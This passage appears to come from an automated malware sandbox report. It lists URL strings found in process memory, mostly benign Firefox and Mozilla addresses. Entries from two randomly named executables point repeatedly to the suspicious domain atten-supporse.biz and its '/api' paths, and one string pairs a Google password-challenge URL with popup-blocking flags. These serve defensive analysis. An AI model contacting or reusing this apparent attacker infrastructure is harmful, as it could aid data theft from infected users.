0000001D.00000002.3400141987.00000214AAED2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3271184161.00000214AB5E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3426975852.00000214AEC37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF36D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3425023618.00000214AE220000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3285577031.00000214AAEDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3281764562.00000214AAECF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3406016346.00000214ABB7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3426975852.00000214AEC4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3426975852.00000214AEC4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shandlerSvc
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateBITS_IDLE_NO_PROGRESS_TIMEOUT_SECSSERVICE_NOT_ENOUGH_COMMAND_L
Source: firefox.exe, 0000001D.00000002.3447537019.00000214B5D38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001D.00000002.3404937712.00000214AB803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3420072274.00000214AD868000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3406016346.00000214ABB5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3317641255.00000214ADDDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/toolba
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulextensions.formautofill.addresses.ignor
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://activity-stream/lib/ToolbarP
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/ContextualIdenti
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/LightweightTheme
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/PolicySearchEngi
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3434823097.00000214AF403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3434823097.00000214AF403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com
Source: firefox.exe, 0000001D.00000002.3443577003.00000214B3C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3341237846.00000214B3C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329574781.00000214B3C77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/get
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001D.00000002.3421733253.00000214ADB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca_parseURL:
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001D.00000002.3438362474.00000214AF718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001D.00000002.3370890446.0000006AF5BD8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.go
Source: firefox.exe, 0000001D.00000002.3370890446.0000006AF5BD8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.go.comH
Source: firefox.exe, 0000001D.00000002.3377707348.000002149B511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001D.00000002.3377330993.000002149B219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A9337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org($
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpi
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4128570/languagetool-7.1.13.xpi
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpihttps://addo
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4134489/enhancer_for_youtube-2.0.119.1.xpi
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpi
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpiTry
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed(browserSetting
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/708/708770-64.png?modified=4f881970
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushedThis
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgADD_EXTENSION_BUTTON_STAFF_3defaults_and_os_integration
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgpictureinpicture.settingsaccount-connection-disconnectedgeckoprofiler
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001D.00000003.3364445219.00000214ADDB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: 176986cc9c.exe, 0000000D.00000003.3218675497.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3137799586.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106209007.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3339750999.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3271110389.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3342488948.00000000053D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: 176986cc9c.exe, 0000000F.00000003.3365494500.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/6)
Source: 176986cc9c.exe, 0000000D.00000003.3274382491.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164373782.00000000057B2000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3167441196.00000000057B2000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3235293503.00000000012E1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3130526424.00000000057B0000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190538036.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3273337235.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3131338677.00000000012CC000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164057533.00000000057B0000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3272216743.00000000012E1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3274066279.00000000012CB000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3189746475.00000000057A8000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190825384.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106209007.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3245722384.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3271110389.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3271234904.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: 176986cc9c.exe, 0000000D.00000003.3130526424.00000000057B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api9a
Source: 176986cc9c.exe, 0000000D.00000003.3164373782.00000000057B2000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3167441196.00000000057B2000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164057533.00000000057B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiF
Source: 176986cc9c.exe, 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiI
Source: 176986cc9c.exe, 0000000D.00000003.3235293503.00000000012E1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3272216743.00000000012E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiR
Source: 176986cc9c.exe, 0000000F.00000003.3271110389.00000000053DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiU.
Source: 176986cc9c.exe, 0000000D.00000003.3235485658.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiV
Source: 176986cc9c.exe, 0000000D.00000003.3137799586.00000000012C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apif
Source: 176986cc9c.exe, 0000000D.00000003.3197921283.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190538036.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190825384.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/d
Source: 176986cc9c.exe, 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3137799586.00000000012C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/k
Source: 176986cc9c.exe, 0000000D.00000003.3131338677.00000000012CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/r
Source: 176986cc9c.exe, 0000000D.00000003.3274382491.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3218627779.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3235485658.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190538036.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3273337235.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3274066279.00000000012CB000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190825384.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: 176986cc9c.exe, 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apiJ
Source: firefox.exe, 0000001D.00000002.3434716941.00000214AF3ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3430616593.00000214AF003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001D.00000002.3434716941.00000214AF3ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3377707348.000002149B511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: d0d9725343.exe, 0000000B.00000003.2954843616.00000000037B4000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: d0d9725343.exe, 0000000B.00000003.3004420814.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2979921174.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000001D.00000002.3420072274.00000214AD868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075resource://activity-stream/common/Actions.sys.mj
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464experimental-features-devtools-compatibility-pan
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
